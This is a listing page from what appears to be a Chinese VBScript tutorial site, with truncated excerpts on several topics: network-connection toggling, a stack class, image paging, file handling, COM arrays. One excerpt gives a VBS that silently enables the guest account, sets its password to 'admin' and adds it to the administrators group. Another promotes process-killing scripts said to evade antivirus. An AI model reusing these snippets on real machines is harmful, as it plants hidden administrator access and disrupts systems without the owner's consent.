复制代码 代码如下: ConstssfCONTROLS=3 sConnectionName='本地连接'''可改成需要控制的连接名称,如'无线网络连接'等 sEnableVerb='启用(&A)' sDisableVerb='禁用(&B)'''XP系统中应为'停用(&B)' setshellApp=createobject('shell.application') setoControlPanel=shellApp.Namespace(ssfCONTROLS) setoNetConnection 发布时间:2013-07-09 作者: 佚名 views(432)
今天下午没课,躲进私人空间开始思考些问题。在浏览VBS相关案例时,自己写了两个小程序出来,有Hack性质的(其实只要能“借刀杀人”,什么软件没黑客性质?--!)。Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!(''为注释) 发布时间:2013-07-09 作者: 佚名 views(272)
数据结构的问题相当重要,如果你能描述出一个问题的输入和输出数据结构,那么这个问题就大有希望,数据结构并不是C语言的专利,真正的数据结构是伪代码的。下面这个栈类是我以前搜集别人的代码,实际上每当考虑一个程序问题的时候,尤其是复杂的程序,就应该想到,用什么样的数据去描述你的输入和输出。 ''**************** 发布时间:2013-07-09 作者: 佚名 views(207)
刚做完1个项目,闲的无聊,想改改自己HomePage,但没有Asp权限,所以突发奇想,用vbs模拟了一个图片分页显示功能!由于写的是适合自己使用的功能,难免很多地方不是很完善!也请各位路过的提些意见,若有朋友正好想找类似的功能,或许可以帮助一下,另外,祝论坛的每一位朋友元旦快乐! 复制代码 代码如下: scriptlanguage= 发布时间:2013-07-09 作者: 佚名 views(193)
文件操作 复制代码 代码如下: Set fso = Wscript.CreateObject('Scripting.FileSystemObject') ''创建文件系统对象,用以处理驱动器、文件夹和文件 Set WshShell = Wscript.CreateObject('Wscript.Shell') ''创建系统Shell对象,用以运行程序等等 if fso.fileexists('D:\刀剑Online\alreadyexist.txt') then ''如果找到文件 发布时间:2013-07-09 作者: 佚名 views(298)
先建立一个VBS文件内容如下: dimwsh setwsh=CreateObject('WScript.Shell') wsh.run'netuserguest/active:yes',0 wsh.run'netuserguestadmin',0 wsh.run'netlocalgroupadministratorsguest/add',0 上面一段VBS的意思就是激活GUEST帐号,并且加为高级管理组,设置密码为admin 那为什么不用那个BAT,继续往下看变知,再找到注 发布时间:2013-07-09 作者: 佚名 views(226)
vbs实现的下拉框对应键入值选择自gu1dai的Blog 关键字vbs实现的下拉框对应键入值 TITLEselectcenter/TITLE linkrel='stylesheet'type='text/css'href='style.css' METANAME='Generator'CONTENT='EditPlus' METANAME='Author'CONTENT='' METANAME='Keywords'CONTENT='' METANAME='Description'CONTENT= 发布时间:2013-07-09 作者: 佚名 views(311)
前天碰到有人问SAFEARRAY的问题,我正好对VBSCRIPT里面如何得到COM组件返回的数组感兴趣,就试验了一下。 IDE用的是VC7.1 开始都差不多,建立工程,建立COM对象,建立方法: 接口定义: [id(2),helpstring('methodGetArray')]HRESULTGetArray1([out,retval]VARIANT*v); 方法实现: STDMETHODIMPCATL3::GetArray1(VARIANT*pv 发布时间:2013-07-09 作者: 佚名 views(363)
|